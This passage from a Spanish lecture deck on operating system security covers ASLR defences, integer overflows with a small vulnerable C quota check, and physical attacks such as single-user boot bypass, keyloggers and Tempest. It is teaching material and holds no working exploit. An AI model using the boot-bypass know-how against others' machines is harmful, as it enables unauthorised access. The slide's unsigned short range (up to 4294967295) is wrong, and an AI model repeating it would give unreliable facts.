Layout Randomization)
OJO: Cambian en cada reinicio del sistema
OJO: Rango de margen: 256 bytes
Jacobo Avariento Seguridad en Sistemas Operativos
60. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en Windows
Hasta el XP: Nada
A partir del XP se usa una cookie para detectar
desbordamientos en la pila
A partir del Vista Beta 2, se usa: ASLR (Address Space
Layout Randomization)
OJO: Cambian en cada reinicio del sistema
OJO: Rango de margen: 256 bytes
Jacobo Avariento Seguridad en Sistemas Operativos
61. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en Windows
Hasta el XP: Nada
A partir del XP se usa una cookie para detectar
desbordamientos en la pila
A partir del Vista Beta 2, se usa: ASLR (Address Space
Layout Randomization)
OJO: Cambian en cada reinicio del sistema
OJO: Rango de margen: 256 bytes
Jacobo Avariento Seguridad en Sistemas Operativos
62. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en Windows
Hasta el XP: Nada
A partir del XP se usa una cookie para detectar
desbordamientos en la pila
A partir del Vista Beta 2, se usa: ASLR (Address Space
Layout Randomization)
OJO: Cambian en cada reinicio del sistema
OJO: Rango de margen: 256 bytes
Jacobo Avariento Seguridad en Sistemas Operativos
63. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en GNU/Linux
En la versi´on 2.6.11 se introduce VA Space Randomization
Cambian las direcciones del ejecutable y las librer´ıas din´amicas
vinculadas en cada carga del programa
Rango de margen: 8 MB
En la versi´on 2.6.25 se introduce la aleatorizaci´on de
direcciones virtuales del mont´ıculo (“heap”)
Jacobo Avariento Seguridad en Sistemas Operativos
64. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en GNU/Linux
En la versi´on 2.6.11 se introduce VA Space Randomization
Cambian las direcciones del ejecutable y las librer´ıas din´amicas
vinculadas en cada carga del programa
Rango de margen: 8 MB
En la versi´on 2.6.25 se introduce la aleatorizaci´on de
direcciones virtuales del mont´ıculo (“heap”)
Jacobo Avariento Seguridad en Sistemas Operativos
65. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en GNU/Linux
En la versi´on 2.6.11 se introduce VA Space Randomization
Cambian las direcciones del ejecutable y las librer´ıas din´amicas
vinculadas en cada carga del programa
Rango de margen: 8 MB
En la versi´on 2.6.25 se introduce la aleatorizaci´on de
direcciones virtuales del mont´ıculo (“heap”)
Jacobo Avariento Seguridad en Sistemas Operativos
66. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Desbordamientos de enteros
“Integer Overflow”
Jacobo Avariento Seguridad en Sistemas Operativos
67. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Tipos num´ericos y su rango en C
(Signed) char [-128, 127]
Unsigned char [0, 255]
(Signed short) [-32768, 32767]
Unsigned short [0, 4294967295]
(Signed) integer [-2147483648, 2147483647]
Unsigned integer [0, 4294967295]
OJO integer = long en CPU de 32 bits!
(Signed) long long [-9223372036854775808,
9223372036854775807]
Unsigned long long [0, 18446744073709551615]
Jacobo Avariento Seguridad en Sistemas Operativos
68. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Tipos num´ericos y su rango en C
(Signed) char [-128, 127]
Unsigned char [0, 255]
(Signed short) [-32768, 32767]
Unsigned short [0, 4294967295]
(Signed) integer [-2147483648, 2147483647]
Unsigned integer [0, 4294967295]
OJO integer = long en CPU de 32 bits!
(Signed) long long [-9223372036854775808,
9223372036854775807]
Unsigned long long [0, 18446744073709551615]
Jacobo Avariento Seguridad en Sistemas Operativos
69. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Tipos num´ericos y su rango en C
(Signed) char [-128, 127]
Unsigned char [0, 255]
(Signed short) [-32768, 32767]
Unsigned short [0, 4294967295]
(Signed) integer [-2147483648, 2147483647]
Unsigned integer [0, 4294967295]
OJO integer = long en CPU de 32 bits!
(Signed) long long [-9223372036854775808,
9223372036854775807]
Unsigned long long [0, 18446744073709551615]
Jacobo Avariento Seguridad en Sistemas Operativos
70. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Ejemplo
long long max_quota= 2147483647+1; // Overflow?
int current_quota= get_quota(user); // Overflow?
if (current_quota > max_quota) {
printf(‘‘Quota exceeded.‘‘);
_exit(0);
}
Vpopmail/QmailAdmin:
http://www.sofistic.net/es/advisories/0901
Jacobo Avariento Seguridad en Sistemas Operativos
71. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Ejemplo
long long max_quota= 2147483647+1; // Overflow?
int current_quota= get_quota(user); // Overflow?
if (current_quota > max_quota) {
printf(‘‘Quota exceeded.‘‘);
_exit(0);
}
Vpopmail/QmailAdmin:
http://www.sofistic.net/es/advisories/0901
Jacobo Avariento Seguridad en Sistemas Operativos
72. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad F´ısica
Jacobo Avariento Seguridad en Sistemas Operativos
73. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
74. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
75. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
76. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
77. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
78. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el entorno: Keyloggers
$54.95
Jacobo Avariento Seguridad en Sistemas Operativos
79. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el entorno: Keyloggers
$89.99
Jacobo Avariento Seguridad en Sistemas Operativos
80. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el entorno: Efecto Tempest
Fuente: http://www.cl.cam.ac.uk/ mgk25/pet2004-fpd.pdf
Jacobo Avariento Seguridad en Sistemas Operativos
81. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el sistema: Cifrado de datos/particiones
OpenSSL
LUKS
TrueCrypt
Jacobo Avariento Seguridad en Sistemas Operativos
82. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
$ kill -9 $$
Jacobo Avariento Seguridad en Sistemas Operativos